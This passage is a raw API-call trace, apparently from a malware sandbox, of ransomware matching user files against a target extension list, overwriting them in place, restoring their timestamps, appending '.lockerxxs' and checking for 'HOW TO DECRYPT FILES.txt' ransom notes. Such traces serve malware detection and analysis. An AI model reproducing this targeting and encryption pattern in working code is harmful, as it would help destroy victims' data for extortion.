Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.myo") returned 0 [0084.478] lstrlenA (lpString="*.myo") returned 5 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.qbw") returned 0 [0084.478] lstrlenA (lpString="*.qbw") returned 5 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.qbb") returned 0 [0084.478] lstrlenA (lpString="*.qbb") returned 5 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.qbm") returned 0 [0084.478] lstrlenA (lpString="*.qbm") returned 5 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.qbo") returned 0 [0084.478] lstrlenA (lpString="*.qbo") returned 5 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.qbx") returned 0 [0084.478] lstrlenA (lpString="*.qbx") returned 5 [0084.478] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.qba") returned 0 [0084.479] lstrlenA (lpString="*.qba") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.qby") returned 0 [0084.479] lstrlenA (lpString="*.qby") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.qbj") returned 0 [0084.479] lstrlenA (lpString="*.qbj") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.ofx") returned 0 [0084.479] lstrlenA (lpString="*.ofx") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.qif") returned 0 [0084.479] lstrlenA (lpString="*.qif") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.mye") returned 0 [0084.479] lstrlenA (lpString="*.mye") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.mbox") returned 0 [0084.479] lstrlenA (lpString="*.mbox") returned 6 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.eml") returned 0 [0084.479] lstrlenA (lpString="*.eml") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.pst") returned 0 [0084.479] lstrlenA (lpString="*.pst") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.ost") returned 0 [0084.479] lstrlenA (lpString="*.ost") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.idx") returned 0 [0084.479] lstrlenA (lpString="*.idx") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.dbx") returned 0 [0084.479] lstrlenA (lpString="*.dbx") returned 5 [0084.479] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.sql") returned 0 [0084.480] lstrlenA (lpString="*.sql") returned 5 [0084.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.mdb") returned 0 [0084.480] lstrlenA (lpString="*.mdb") returned 5 [0084.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.fdb") returned 0 [0084.480] lstrlenA (lpString="*.fdb") returned 5 [0084.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.wab") returned 0 [0084.480] lstrlenA (lpString="*.wab") returned 5 [0084.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.dat") returned 0 [0084.480] lstrlenA (lpString="*.dat") returned 5 [0084.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.txt") returned 0 [0084.480] lstrlenA (lpString="*.txt") returned 5 [0084.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.jpeg") returned 0 [0084.480] lstrlenA (lpString="*.jpeg") returned 6 [0084.480] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", pszSpec="*.jpg") returned 1 [0084.480] lstrlenA (lpString="*.jpg") returned 5 [0084.480] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" [0084.480] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" [0084.480] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg." [0084.480] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg.lockerxxs" [0084.480] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.481] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2b6c [0084.481] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4574c090, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x4574c090, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x457721f0, dwHighDateTime=0x1d2faf3)) returned 1 [0084.481] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.481] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2b46, lpOverlapped=0x0) returned 1 [0084.483] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg") returned="BBEfRwv[1].jpg" [0084.483] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.483] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2b46, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2b46, lpOverlapped=0x0) returned 1 [0084.483] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.483] CloseHandle (hObject=0xa4) returned 1 [0084.483] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefrwv[1].jpg.lockerxxs")) returned 1 [0084.488] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45478670, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45478670, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45478670, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2676, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEfwtU[1].jpg", cAlternateFileName="BBEFWT~1.JPG")) returned 1 [0084.488] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.488] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEfwtU[1].jpg") returned 1 [0084.488] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEfwtU[1].jpg") returned 1 [0084.488] lstrcmpiA (lpString1="", lpString2="BBEfwtU[1].jpg") returned -1 [0084.488] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfRwv[1].jpg") returned="BBEfRwv[1].jpg" [0084.488] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.488] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.488] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.488] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.488] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEfwtU[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" [0084.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.ems") returned 0 [0084.488] lstrlenA (lpString="*.ems") returned 5 [0084.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.db") returned 0 [0084.488] lstrlenA (lpString="*.db") returned 4 [0084.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.dbf") returned 0 [0084.488] lstrlenA (lpString="*.dbf") returned 5 [0084.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.myox") returned 0 [0084.488] lstrlenA (lpString="*.myox") returned 6 [0084.488] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.myo") returned 0 [0084.489] lstrlenA (lpString="*.myo") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.qbw") returned 0 [0084.489] lstrlenA (lpString="*.qbw") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.qbb") returned 0 [0084.489] lstrlenA (lpString="*.qbb") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.qbm") returned 0 [0084.489] lstrlenA (lpString="*.qbm") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.qbo") returned 0 [0084.489] lstrlenA (lpString="*.qbo") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.qbx") returned 0 [0084.489] lstrlenA (lpString="*.qbx") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.qba") returned 0 [0084.489] lstrlenA (lpString="*.qba") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.qby") returned 0 [0084.489] lstrlenA (lpString="*.qby") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.qbj") returned 0 [0084.489] lstrlenA (lpString="*.qbj") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.ofx") returned 0 [0084.489] lstrlenA (lpString="*.ofx") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.qif") returned 0 [0084.489] lstrlenA (lpString="*.qif") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.mye") returned 0 [0084.489] lstrlenA (lpString="*.mye") returned 5 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.mbox") returned 0 [0084.489] lstrlenA (lpString="*.mbox") returned 6 [0084.489] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.eml") returned 0 [0084.489] lstrlenA (lpString="*.eml") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.pst") returned 0 [0084.490] lstrlenA (lpString="*.pst") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.ost") returned 0 [0084.490] lstrlenA (lpString="*.ost") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.idx") returned 0 [0084.490] lstrlenA (lpString="*.idx") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.dbx") returned 0 [0084.490] lstrlenA (lpString="*.dbx") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.sql") returned 0 [0084.490] lstrlenA (lpString="*.sql") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.mdb") returned 0 [0084.490] lstrlenA (lpString="*.mdb") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.fdb") returned 0 [0084.490] lstrlenA (lpString="*.fdb") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.wab") returned 0 [0084.490] lstrlenA (lpString="*.wab") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.dat") returned 0 [0084.490] lstrlenA (lpString="*.dat") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.txt") returned 0 [0084.490] lstrlenA (lpString="*.txt") returned 5 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.jpeg") returned 0 [0084.490] lstrlenA (lpString="*.jpeg") returned 6 [0084.490] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", pszSpec="*.jpg") returned 1 [0084.490] lstrlenA (lpString="*.jpg") returned 5 [0084.490] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" [0084.491] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg" [0084.491] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfwtU[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 